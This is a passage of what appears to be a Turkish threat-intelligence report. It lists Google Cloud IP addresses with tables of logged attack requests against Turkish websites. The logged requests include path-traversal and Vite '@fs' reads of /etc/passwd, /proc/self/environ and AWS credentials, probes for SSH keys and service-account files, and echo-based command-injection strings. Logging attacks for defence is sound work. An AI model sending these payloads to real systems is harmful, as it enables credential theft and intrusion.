10/Aug/2026:02:11:26 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
10/Aug/2026:03:20:34 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:03:20:34 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
10/Aug/2026:00:03:32 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.94.48.251 — 7 saldırı imzalı istek / 96 toplam istek

Prefix: 34.94.0.0/16 · Region: us-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:02:01:19 +0300profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
13/Sep/2026:05:10:18 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
13/Sep/2026:05:10:19 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
13/Sep/2026:05:10:19 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
13/Sep/2026:05:10:21 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
13/Sep/2026:05:10:21 +0300profesyonelwebserver.net.trGET200PROC_ENVIRON/userfiles/x?path=../../../../proc/self/environ
13/Sep/2026:05:10:25 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
34.38.232.3 — 7 saldırı imzalı istek / 95 toplam istek

Prefix: 34.38.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:22:56:19 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
11/Aug/2026:01:38:16 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
11/Aug/2026:01:38:16 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
11/Aug/2026:01:38:17 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.138.198.0 — 7 saldırı imzalı istek / 54 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Jul/2026:08:52:02 +0300ascento.trHEAD404AWS_CREDENTIALS/.aws/credentials
04/Jul/2026:08:52:02 +0300ascento.trHEAD404WP_CONFIG/wp-config.php.bak
04/Jul/2026:08:52:02 +0300ascento.trHEAD404WP_CONFIG/wp-config.php
25/Jun/2026:01:46:40 +0300ascento.trHEAD301AWS_CREDENTIALS/.aws/credentials
12/Jul/2026:03:10:07 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php.bak
12/Jul/2026:03:10:07 +0300picassoshopcoffee.com.trHEAD301WP_CONFIG/wp-config.php
12/Jul/2026:03:10:07 +0300picassoshopcoffee.com.trHEAD301AWS_CREDENTIALS/.aws/credentials
35.233.91.102 — 7 saldırı imzalı istek / 35 toplam istek

Prefix: 35.233.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:23:37:55 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
11/Sep/2026:23:37:55 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:23:38:12 +0300profesyonelwebserver.net.trGET200ENV_FILE/_environment
11/Sep/2026:23:38:16 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
11/Sep/2026:23:38:17 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:23:38:18 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/google-key.json
11/Sep/2026:23:38:19 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/firebase-key.json
35.195.13.196 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.195.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:02:03:43 +0300elixtria.comGET404ENV_FILE/_environment
13/Sep/2026:02:03:43 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
13/Sep/2026:02:03:48 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
13/Sep/2026:02:03:48 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
13/Sep/2026:02:03:49 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
13/Sep/2026:02:03:49 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.105.233.119 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.105.128.0/17 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:16:13:19 +0300elixtria.comGET404ENV_FILE/_environment
06/Sep/2026:16:13:19 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:16:13:21 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:16:13:21 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:16:13:22 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:16:13:22 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.14.112 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:18:22:22 +0300elixtria.comGET404ENV_FILE/_environment
06/Sep/2026:18:22:22 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:18:22:25 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:18:22:25 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:18:22:26 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:18:22:26 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.198.243.87 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.198.192.0/18 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:18:54:54 +0300elixtria.comGET404ENV_FILE/_environment
07/Sep/2026:18:54:54 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
07/Sep/2026:18:54:56 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
07/Sep/2026:18:54:57 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
07/Sep/2026:18:54:58 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
07/Sep/2026:18:54:59 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.198.46.252 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.198.0.0/18 · Region: southamerica-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:20:39:32 +0300elixtria.comGET404ENV_FILE/_environment
07/Sep/2026:20:39:33 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
07/Sep/2026:20:39:34 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
07/Sep/2026:20:39:35 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
07/Sep/2026:20:39:35 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
07/Sep/2026:20:39:36 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.153.225 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:20:15:33 +0300elixtria.comGET404ENV_FILE/_environment
08/Sep/2026:20:15:33 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
08/Sep/2026:20:15:35 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
08/Sep/2026:20:15:35 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
08/Sep/2026:20:15:35 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
08/Sep/2026:20:15:36 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.41.152 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:06:09:56 +0300elixtria.comGET404ENV_FILE/_environment
11/Sep/2026:06:09:56 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:06:09:57 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:06:09:58 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:06:09:58 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:06:09:58 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.187.86.84 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.187.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:06:47:46 +0300elixtria.comGET404ENV_FILE/_environment
11/Sep/2026:06:47:46 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:06:47:48 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:06:47:49 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:06:47:49 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:06:47:49 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.37.215 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:06:42:49 +0300elixtria.comGET404ENV_FILE/_environment
12/Sep/2026:06:42:50 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
12/Sep/2026:06:42:52 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
12/Sep/2026:06:42:52 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:06:42:52 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
12/Sep/2026:06:42:53 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.195.179.79 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.195.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:20:21:57 +0300elixtria.comGET404ENV_FILE/_environment
12/Sep/2026:20:21:57 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
12/Sep/2026:20:22:03 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
12/Sep/2026:20:22:04 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:20:22:04 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
12/Sep/2026:20:22:05 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.215.56 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:21:41:57 +0300elixtria.comGET404ENV_FILE/_environment
12/Sep/2026:21:41:57 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
12/Sep/2026:21:41:59 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
12/Sep/2026:21:42:00 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:21:42:00 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
12/Sep/2026:21:42:01 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.50.2.111 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.50.0.0/18 · Region: asia-northeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:00:03:15 +0300elixtria.comGET404ENV_FILE/_environment
30/Aug/2026:00:03:15 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
30/Aug/2026:00:03:16 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:00:03:16 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:00:03:16 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:00:03:17 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.197.12.175 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.197.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:14:53:51 +0300elixtria.comGET404ENV_FILE/_environment
01/Sep/2026:14:53:51 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
01/Sep/2026:14:53:54 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
01/Sep/2026:14:53:54 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
01/Sep/2026:14:53:55 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
01/Sep/2026:14:53:56 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.175.92.148 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.175.0.0/16 · Region: europe-southwest1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Sep/2026:18:12:49 +0300elixtria.comGET404ENV_FILE/_environment
02/Sep/2026:18:12:49 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
02/Sep/2026:18:12:51 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
02/Sep/2026:18:12:52 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:18:12:52 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
02/Sep/2026:18:12:53 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.201.11.207 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.201.0.0/19 · Region: australia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Sep/2026:21:56:47 +0300elixtria.comGET404ENV_FILE/_environment
02/Sep/2026:21:56:48 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
02/Sep/2026:21:56:49 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
02/Sep/2026:21:56:49 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:21:56:50 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
02/Sep/2026:21:56:51 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.176.11.117 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.176.0.0/16 · Region: southamerica-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Sep/2026:07:41:07 +0300elixtria.comGET404ENV_FILE/_environment
05/Sep/2026:07:41:07 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
05/Sep/2026:07:41:10 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
05/Sep/2026:07:41:10 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
05/Sep/2026:07:41:11 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
05/Sep/2026:07:41:12 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
35.203.1.56 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 35.203.0.0/17 · Region: northamerica-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Sep/2026:15:56:35 +0300elixtria.comGET404ENV_FILE/_environment
05/Sep/2026:15:56:36 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
05/Sep/2026:15:56:40 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
05/Sep/2026:15:56:40 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
05/Sep/2026:15:56:41 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
05/Sep/2026:15:56:42 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.155.152.253 — 7 saldırı imzalı istek / 34 toplam istek

Prefix: 34.155.0.0/16 · Region: europe-west9

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
05/Sep/2026:18:13:35 +0300elixtria.comGET404ENV_FILE/_environment
05/Sep/2026:18:13:35 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
05/Sep/2026:18:13:36 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
05/Sep/2026:18:13:37 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
05/Sep/2026:18:13:37 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
05/Sep/2026:18:13:37 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.148.107.195 — 7 saldırı imzalı istek / 24 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:11:33:03 +0300profesyonelweb.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
08/Aug/2026:11:33:06 +0300profesyonelweb.com.trGET403CMDI/?exec=%60echo+GSCAN_CMDI%60
08/Aug/2026:11:33:09 +0300profesyonelweb.com.trGET200CMDI/?ping=%3B+echo+GSCAN_CMDI+%23
08/Aug/2026:11:33:11 +0300profesyonelweb.com.trGET200CMDI/api/ping?host=%60echo+GSCAN_CMDI%60
08/Aug/2026:11:33:11 +0300profesyonelweb.com.trGET403CMDI,EXEC_API/api/exec?cmd=%60echo+GSCAN_CMDI%60
08/Aug/2026:11:33:15 +0300profesyonelweb.com.trGET403CMDI,EXEC_API/api/system?cmd=%60echo+GSCAN_CMDI%60
08/Aug/2026:11:33:20 +0300profesyonelweb.com.trGET403CMDI/system?cmd=%60echo+GSCAN_CMDI%60
34.158.38.172 — 7 saldırı imzalı istek / 14 toplam istek

Prefix: 34.158.32.0/19 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:05:11:19 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
14/Aug/2026:05:11:19 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
14/Aug/2026:05:11:20 +0300teigmo.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
14/Aug/2026:05:11:20 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
14/Aug/2026:05:11:20 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
14/Aug/2026:05:11:20 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
14/Aug/2026:05:11:20 +0300teigmo.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
35.198.217.91 — 7 saldırı imzalı istek / 10 toplam istek

Prefix: 35.198.192.0/18 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:17:17:42 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
08/Sep/2026:17:17:43 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
35.189.222.44 — 6 saldırı imzalı istek / 235 toplam istek

Prefix: 35.189.192.0/18 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:00:20:18 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
12/Aug/2026:19:42:20 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.202.63.237 — 6 saldırı imzalı istek / 95 toplam istek

Prefix: 35.202.0.0/16 · Region: us-central1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.17.36.206 — 6 saldırı imzalı istek / 61 toplam istek

Prefix: 34.17.0.0/16 · Region: europe-west12

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:22:25:14 +0300denizciden.com.trGET404ENV_FILE/_environment
12/Sep/2026:22:25:14 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
12/Sep/2026:22:25:18 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
12/Sep/2026:22:25:18 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
12/Sep/2026:22:25:19 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
12/Sep/2026:22:25:20 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.174.44.162 — 6 saldırı imzalı istek / 50 toplam istek

Prefix: 34.174.0.0/16 · Region: us-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:07:50:32 +0300denizciden.com.trGET404ENV_FILE/_environment
01/Sep/2026:07:50:32 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
01/Sep/2026:07:50:35 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
01/Sep/2026:07:50:35 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
01/Sep/2026:07:50:36 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
01/Sep/2026:07:50:36 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.194.240.246 — 6 saldırı imzalı istek / 39 toplam istek

Prefix: 35.194.128.0/17 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:19:48:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Sep/2026:19:48:36 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
12/Sep/2026:02:33:36 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
12/Sep/2026:02:33:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Sep/2026:02:34:13 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
12/Sep/2026:02:34:49 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.199.98.118 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.199.64.0/18 · Region: southamerica-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:17:23:00 +0300denizciden.com.trGET404ENV_FILE/_environment
06/Sep/2026:17:23:00 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
06/Sep/2026:17:23:05 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
06/Sep/2026:17:23:05 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
06/Sep/2026:17:23:06 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
06/Sep/2026:17:23:07 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.194.185.77 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.194.128.0/17 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:03:57:55 +0300denizciden.com.trGET404ENV_FILE/_environment
07/Sep/2026:03:57:55 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
07/Sep/2026:03:57:56 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
07/Sep/2026:03:57:57 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
07/Sep/2026:03:57:57 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
07/Sep/2026:03:57:57 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.174.166.11 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.174.0.0/16 · Region: us-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:07:26:01 +0300denizciden.com.trGET404ENV_FILE/_environment
11/Sep/2026:07:26:01 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:07:26:02 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:07:26:02 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:07:26:03 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:07:26:03 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.97.8.32 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.97.0.0/16 · Region: asia-northeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:08:08:55 +0300denizciden.com.trGET404ENV_FILE/_environment
11/Sep/2026:08:08:55 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
11/Sep/2026:08:08:56 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
11/Sep/2026:08:08:57 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
11/Sep/2026:08:08:57 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
11/Sep/2026:08:08:58 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.186.23.49 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.186.0.0/19 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:09:31:19 +0300denizciden.com.trGET404ENV_FILE/_environment
30/Aug/2026:09:31:20 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
30/Aug/2026:09:31:21 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:09:31:21 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:09:31:21 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:09:31:22 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.222.190.44 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.222.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:16:33:00 +0300denizciden.com.trGET404ENV_FILE/_environment
30/Aug/2026:16:33:00 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
30/Aug/2026:16:33:01 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
30/Aug/2026:16:33:02 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
30/Aug/2026:16:33:02 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
30/Aug/2026:16:33:02 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
34.174.229.29 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 34.174.0.0/16 · Region: us-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
31/Aug/2026:16:05:33 +0300denizciden.com.trGET404ENV_FILE/_environment
31/Aug/2026:16:05:33 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
31/Aug/2026:16:05:34 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
31/Aug/2026:16:05:34 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
31/Aug/2026:16:05:35 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
31/Aug/2026:16:05:35 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.189.229.248 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.189.192.0/18 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
31/Aug/2026:16:08:56 +0300denizciden.com.trGET404ENV_FILE/_environment
31/Aug/2026:16:08:57 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
31/Aug/2026:16:08:58 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
31/Aug/2026:16:08:59 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
31/Aug/2026:16:08:59 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
31/Aug/2026:16:08:59 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
35.199.67.202 — 6 saldırı imzalı istek / 37 toplam istek

Prefix: 35.199.64.0/18 · Region: southamerica-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Sep/2026:08:05:09 +0300denizciden.com.trGET404ENV_FILE/_environment
